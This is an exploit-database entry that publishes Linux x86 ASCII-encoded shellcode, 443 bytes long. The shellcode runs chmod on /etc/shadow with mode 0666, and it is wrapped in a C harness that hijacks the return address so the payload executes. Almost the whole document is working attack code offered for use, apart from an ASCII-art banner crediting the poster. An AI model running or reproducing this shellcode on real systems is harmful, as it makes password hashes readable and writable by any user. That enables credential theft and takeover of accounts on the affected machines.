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linux/x86 chmod("/etc/shadow", 0666) ASCII shellcode 443 bytes
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  /*
 | Title: Linux/x86 chmod("/etc/shadow", 0666) ASCII   Shellcode 443 Bytes

 | Type: Shellcode
 | Author: agix
 | Platform: Linux X86
*/

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ##################################                1
0                    I'm agix member from Inj3ct0r Team                1
1                    ##################################                0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#include <stdio.h>

char shellcode[] =
"LLLLhHEY!X5HEY!"
"HZTYRRRPTURWa-5lmm-2QQQ-8AAAfhRRfZ0p>0x?fh88fZ0p?fh  "
"fZ0pS0pH0p?fh55fZ0p@fhbbfZ0pA0pBfhyyfZ0pAfhwwfZ0pE0pB"
"fhDDfZ0pCfhddfZ0pU0pDfhzzfZ0pW0pDfhuufZ0pEfhhhfZ0pJ0p"
"FfhoofZ0pF0pMfhccfZ0pV0pGfhiifZ0pGfh//fZ0pL0pM0pHfhss"
"fZ0pIfhmmfZ0pIfhaafZ0pJfhHHfZ0pKfhnnfZ0pLfheefZ0pR0pN"
"0pOfhttfZ0pO0pN0xPfhVVfZ0pP0xQfh((fZ0pQfhPPfZ0pQfhfff"
"Z0pRfhFFfZ0pS0xSfhIIfZ0pTfhssfZ0pT0xTfhOOfZ0pV0xVfh22"
"fZ0pXfh  fZ0pX0xXfh@@fZ0pY0xY"

"c'est quoi ma note de secu ?";

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}